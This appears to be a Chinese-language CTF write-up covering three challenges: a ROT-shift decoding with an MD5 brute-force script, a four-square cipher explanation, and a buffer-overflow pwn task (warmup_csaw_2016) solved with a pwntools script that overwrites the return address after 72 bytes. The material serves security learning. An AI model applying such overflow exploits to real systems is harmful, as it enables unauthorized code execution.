题目链接:点击获取
首先,需要了解什么是ROT。ROT是一种简单的替换算法,这种算法的主要加密方法是将所有明文密码同时左移或者右移某一长度,常见的是ROT13。ROT可以在二十六个字母之间替换,也可以在所有可见字符替换,如果没有指明是什么替换的话,全部试一遍也许是个不错的选择,运算量也不大。恺撒加密可以是为ROT的一种。
import hashlib
cipher = [83, 89, 78, 84, 45, 86, 96, 45, 115, 121, 110, 116, 136, 132, 132, 132, 108, 128, 117, 118, 134, 110, 123,
111, 110, 127, 108, 112, 124, 122, 108, 118, 128, 108, 131, 114, 127, 134, 108, 116, 124, 124, 113, 108, 76,
76, 76, 76, 138, 23, 90, 81, 66, 71, 64, 69, 114, 65, 112, 64, 66, 63, 69, 61, 70, 114, 62, 66, 61, 62, 69,
67, 70, 63, 61, 110, 110, 112, 64, 68, 62, 70, 61, 112, 111, 112]
def check():
flag = "flag{www_shiyanbar_com_is_very_good_"
# print hashlib.md5(flag).hexdigest()
for a in range(32, 127):
for b in range(32, 127):
for c in range(32, 127):
for d in range(32, 127):
print flag + chr(a) + chr(b) + chr(c) + chr(d) + "}"
if str(hashlib.md5(flag + chr(a) + chr(b) + chr(c) + chr(
d) + "}").hexdigest()) == "38e4c352809e150186920aac37190cbc":
print flag + chr(a) + chr(b) + chr(c) + chr(d)
return
if __name__ == '__main__':
for j in range(16):
flag = ""
for i in cipher:
flag += chr(i - j)
print flag
check()
本来以为flag后面都是小写字母,所以一开始只跑了小写字母,跑了半天跑不出来,扩大范围后成功搞定:
题目链接:点击获取
来自题目的提示,四面八方,提示四方密码。四方密码是一种对称式加密法,由法国人Felix Delastelle(1840年–1902年)发明。 这种方法将字母两个一组,然后采用多字母替换密码。首先选择两个英文字作密匙,例如example和keyword。对于每一个密匙,将重复出现的字母去除,即example要转成exampl,然后将每个字母顺序放入矩阵,再将余下的字母顺序放入矩阵,便得出加密矩阵。
将这两个加密矩阵放在右上角和左下角,余下的两个角放a到z顺序的矩阵:
加密的步骤:
自己动手画
题目链接:点击获取
IDA打开之后,可以看到:
可以看到危险函数gets,常见的危险函数还有strcpy,strcat,sprintf。这些函数可以造成缓冲区溢出。简单的说,我们需要用数据填充缓冲区,覆盖返回地址,这样我们就可以控制代码执行。在这个程序中,存在一个构造好的函数,用于读取flag。
这个地址也被输给我们了,所以我们只要确定到底要覆盖多长就行了。开启pwn-dbg调试。
我们可以用python的pwn模块下的cyclic函数构造一个比较长的字符串并输入,可以发现:
可以发现长度为72
import pwn
#p = pwn.process('./warmup_csaw_2016')
p = pwn.remote('node3.buuoj.cn',26272)
elf = pwn.ELF('./warmup_csaw_2016')
assdr = 0x40060d
pwn.context.log_level = 'DEBUG'
pwn.context(arch='amd64', os='linux')
shellcode = 'a'*72+pwn.p64(assdr)
p.sendline(shellcode)
p.interactive()#